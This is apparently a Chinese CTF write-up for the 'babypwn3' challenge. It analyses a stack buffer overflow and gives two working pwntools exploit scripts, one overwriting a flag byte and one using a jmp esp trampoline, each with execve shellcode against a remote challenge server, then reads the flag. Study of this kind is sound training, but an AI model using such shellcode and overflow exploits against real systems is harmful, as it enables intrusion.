babypwn3学习经历
Created at 2017-12-30 Updated at 2017-12-31
< !–more–>
一:查壳
checksec babypwn3
显示:
没有什么保护
二:代码
int vulFunc()
{
char buf; // [sp+0h] [bp-88h]@1
char v2; // [sp+7Fh] [bp-9h]@1
memset(&buf, 0, 0x80u); //初始化buf的128个字节为0 ①
puts(“寮勬淇轰亢涔熶笉浼氬惉浣犵殑璇濈殑锛乗n”);
read(0, &buf, 0x100u); //读取数据256个字节保存在buf中
if ( v2 == 127 )
JUMPOUT(CS, &buf); //当v2=127时会去执行栈上的代码
return puts(“鐣ョ暐鐣ワ綖\n”);
}
.text:080484A6 ; =============== S U B R O U T I N E =======================================
.text:080484A6
.text:080484A6 ; Attributes: bp-based frame
.text:080484A6
.text:080484A6 public vulFunc
.text:080484A6 vulFunc proc near ; CODE XREF: main+46p
.text:080484A6
.text:080484A6 buf = byte ptr -88h
.text:080484A6 var_9 = byte ptr -9
.text:080484A6
……
.text:08048500 jmp esp
三:
需要一个shellcode能够system(“/bin/sh”)
shellcode=”\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80”; //感恩师傅,我可以偷懒
1.shellcode+任意字符*(127-shellcode长度)+(v2=127)
覆盖v2=127,需要用p32()打包
from pwn import
shellcode = “\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80”;
p=remote(‘121.42.189.18 ‘,7003)
payload = shellcode+’a’(127-len(shellcode))+p32(127)
p.recv()
p.sendline(payload)
raw_input()
p.interactive()
2.”jmp esp”作为跳板动态定位shellcode③
因为当Eip在后续执行过程中,遇到了jmp esp指令,仍会回到esp指向的函数形参位置执行,执行shellcode的剩余部分。
jmp sep地址=08048500 ,需要用p32()打包
from pwn import
shellcode = “\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80”;
p=remote(‘121.42.189.18 ‘,7003)
jmp_esp=0x8048500
payload = ‘a’140+p32(jmp_esp)+shellcode
p.recv()
p.sendline(payload)
p.interactive()
四:进入shell里
cat /tmp/flag ⑤
①memset() 函数常用于内存空间初始化
void memset(void s,int c,size_t n)
开辟的空间s的n个字符初始化为c
②JumpOut (“Program” [, “Document”])
program:指定的应用程序打开文件Document
③可用”jmp esp”作为跳板动态定位shellcode
1) 用内存中任意一个”jmp esp”的地址覆盖返回地址
2) 函数返回后被重定向去执行内存中jmp esp指令
3) 由于函数返回后ESP指向返回地址后,jmp esp执行后,CPU将到栈区函数返回地址之后的地方取指令执行
4) shellcode的布置。缓冲区前面一段用任意数据填充,把shellcode放在函数返回地址后面。jmp esp执行完就执行shellcode。
http://blog.csdn.net/lixiangminghate/article/details/53333710(栈的图画得非常好)
http://blog.csdn.net/swjtu100/article/details/50032831(exploit画得很好看)
栈指针esp的一个特性:当函数执行ret指令后,Eip寄存器发生了跳转,但Esp还指向函数形参在栈中的地址。
当Eip在后续执行过程中,遇到了jmp esp指令,仍会回到esp指向的函数形参位置执行,执行shellcode的剩余部分。
④flag{g54dwqdqw-f43csad-saDWqd23wdasxsaxdFDWEVC}